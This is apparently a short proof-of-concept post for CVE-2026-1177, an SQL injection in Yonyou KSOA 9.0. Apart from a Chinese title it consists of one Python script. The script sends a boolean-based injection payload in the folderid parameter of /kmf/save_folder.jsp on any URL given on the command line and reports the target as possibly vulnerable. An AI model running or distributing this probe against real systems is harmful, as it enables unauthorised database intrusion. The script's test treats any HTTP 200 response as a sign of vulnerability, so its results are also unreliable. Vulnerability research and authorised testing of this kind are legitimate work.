CVE-2026-1177 用友KSOA 9.0 save_folder.jsp SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2026-1177 PoC - Yonyou KSOA 9.0 SQL Injection Target: /kmf/save_folder.jsp Parameter: folderid """ import requests import sys def test_sql_injection(target_url): """Test for SQL injection vulnerability in folderid parameter""" # Normal request normal_params = {'folderid': '1'} try: resp_normal = requests.get(f'{target_url}/kmf/save_folder.jsp', params=normal_params, timeout=10) print(f'[+] Normal request status: {resp_normal.status_code}') except requests.RequestException as e: print(f'[-] Normal request failed: {e}') # SQL injection test - Boolean based sqli_payload = "1' AND 1=1--" sqli_params = {'folderid': sqli_payload} try: resp_sqli = requests.get(f'{target_url}/kmf/save_folder.jsp', params=sqli_params, timeout=10) print(f'[+] SQLi test status: {resp_sqli.status_code}') if resp_sqli.status_code == 200: print('[+] Target may be vulnerable to SQL injection') except requests.RequestException as e: print(f'[-] SQLi test failed: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python3 {sys.argv[0]} <target_url>') print(f'Example: python3 {sys.argv[0]} http://target.com') sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)